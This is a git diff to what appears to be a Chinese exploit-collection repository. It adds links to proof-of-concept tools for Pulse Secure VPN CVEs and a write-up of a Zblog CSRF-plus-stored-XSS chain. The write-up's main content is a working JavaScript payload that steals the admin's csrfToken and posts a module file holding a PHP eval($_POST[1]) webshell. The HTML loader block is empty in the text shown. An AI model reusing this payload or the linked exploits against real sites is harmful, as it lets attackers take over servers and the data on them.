diff --git a/README.md b/README.md
index ef0d8ad..0b00d04 100644
--- a/README.md
+++ b/README.md
@@ -180,6 +180,9 @@
- [74CMS_v5.0.1后台RCE分析](./books/74CMS_v5.0.1后台RCE分析.pdf)
- [CVE-2020-8163 - Remote code execution of user-provided local names in Rails](https://github.com/sh286/CVE-2020-8163)
- [【0day RCE】Horde Groupware Webmail Edition RCE](./%E3%80%900day%20RCE%E3%80%91Horde%20Groupware%20Webmail%20Edition%20RCE.md)
+- [pulse-gosecure-rce-Tool to test for existence of CVE-2020-8218](https://github.com/withdk/pulse-gosecure-rce-poc)
+- [Exploit for Pulse Connect Secure SSL VPN arbitrary file read vulnerability (CVE-2019-11510)](https://github.com/BishopFox/pwn-pulse)
+- [Zblog默认Theme_csrf+储存xss+getshell](./Zblog默认Theme_csrf+储存xss+getshell.md)
## 提权辅助相关
diff --git a/Zblog默认Theme_csrf+储存xss+getshell.md b/Zblog默认Theme_csrf+储存xss+getshell.md
new file mode 100644
index 0000000..864ac63
--- /dev/null
+++ b/Zblog默认Theme_csrf+储存xss+getshell.md
@@ -0,0 +1,132 @@
+## Zblog默认Theme_csrf+储存xss+getshell
+
+原因：
+1、后台安装模版没做 csrfToken 验证。可以 csrf 安装指定 Theme
+2、zblogPHP 存在一个默认 Theme 名为 metro，存在储存 xss。并且没有验证 csrfToken
+3、论坛也有人写这个 getshell 的洞，通过储存 xss 直接 getshell。
+
+测试的时候有点久了，然后在官网下载的最新版 https://www.zblogcn.com/zblogphp/ 不存在这个默认 theme
+然后看了下 Github 上存在这个 Theme。
+
+具体细节我忘记了。不做细节描述
+zblog.html
+
+```html
+
+
+
+ zblog test
+
+
+
+
+
+
+
+
+
+
+```
+
+zblog.js //getshell
+
+```javascript
+function getMeta(metaName) {
+ const metas = document.getElementsByTagName('meta');
+ for (let i = 0; i < metas.length; i++) {
+ if (metas[i].getAttribute('name') === metaName) {
+ return metas[i].getAttribute('content');
+ }
+ }
+ return '';
+}
+var csrfToken = getMeta('csrfToken');
+
+var pkav={
+ ajax:function(){
+ var xmlHttp;
+ try{
+ xmlHttp=new XMLHttpRequest();
+ }catch (e){
+ try{
+ xmlHttp=new ActiveXObject("Msxml2.XMLHTTP");
+ }catch (e){
+ try{
+ xmlHttp=new ActiveXObject("Microsoft.XMLHTTP");
+ }
+ catch (e){
+ return false;
+ }
+ }
+ }
+ return xmlHttp;
+ },
+ req:function(url,data,method,callback){
+ method=(method||"").toUpperCase();
+ method=method||"GET";
+ data=data||"";
+ if(url){
+ var a=this.ajax();
+ a.open(method,url,true);
+ if(method=="POST"){
+ a.setRequestHeader("Content-type","application/x-www-form-urlencoded");
+ }
+ a.onreadystatechange=function(){
+ if (a.readyState==4 && a.status==200)
+ {
+ if(callback){
+ callback(a.responseText);
+ }
+ }
+ };
+ if((typeof data)=="object"){
+ var arr=[];
+ for(var i in data){
+ arr.push(i+"="+encodeURIComponent(data[i]));
+ }
+ a.send(arr.join("&"));
+ }else{
+ a.send(data||null);
+ }
+ }
+ },
+ get:function(url,callback){
+ this.req(url,"","GET",callback);
+ },
+ post:function(url,data,callback){
+ this.req(url,data,"POST",callback);
+ }
+};
+
+pkav.post("http://zblog.test/zb_system/cmd.php?act=ModulePst&csrfToken="+csrfToken,"ID=15&Source=theme&Name=theme&IsHideTitle=&FileName=shell&HtmlID=11&Type=div&MaxLi=0&Content=%3C%3Fphp+eval($_POST[1]);%3B%3F%3E&NoRefresh=",function(rs){});
+```
+
+备注：新版默认已经没有这个xss主题了，已经修复了！
+
+⚠️原文来自吐司，欢迎大家踊跃投稿吐司！https://www.t00ls.net/articles-57673.html
+